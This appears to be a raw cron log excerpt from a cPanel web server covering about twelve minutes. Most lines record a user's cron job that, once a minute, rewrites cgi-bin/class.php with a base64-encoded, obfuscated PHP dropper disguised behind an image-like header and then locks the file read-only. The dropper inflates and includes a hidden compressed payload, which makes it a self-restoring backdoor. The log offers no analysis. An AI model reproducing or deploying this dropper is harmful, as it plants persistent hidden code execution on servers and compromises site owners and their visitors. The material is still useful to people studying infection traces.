Nov 13 16:41:01 server CROND[24860]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:42:01 server CROND[25661]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:42:01 server CROND[25663]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 16:42:01 server CROND[25661]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:42:01 server CROND[25663]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 16:43:01 server CROND[26642]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:44:01 server CROND[27502]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:45:01 server CROND[28074]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:45:01 server CROND[28075]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 16:45:01 server CROND[28076]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 16:46:01 server CROND[28989]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:47:01 server CROND[29869]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:48:01 server CROND[30799]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:49:01 server CROND[31836]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:50:01 server CROND[32703]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 16:50:01 server CROND[32704]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 16:50:01 server CROND[32709]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 16:50:01 server CROND[32710]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 16:50:01 server CROND[32711]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:51:01 server CROND[923]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:52:01 server CROND[1204]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
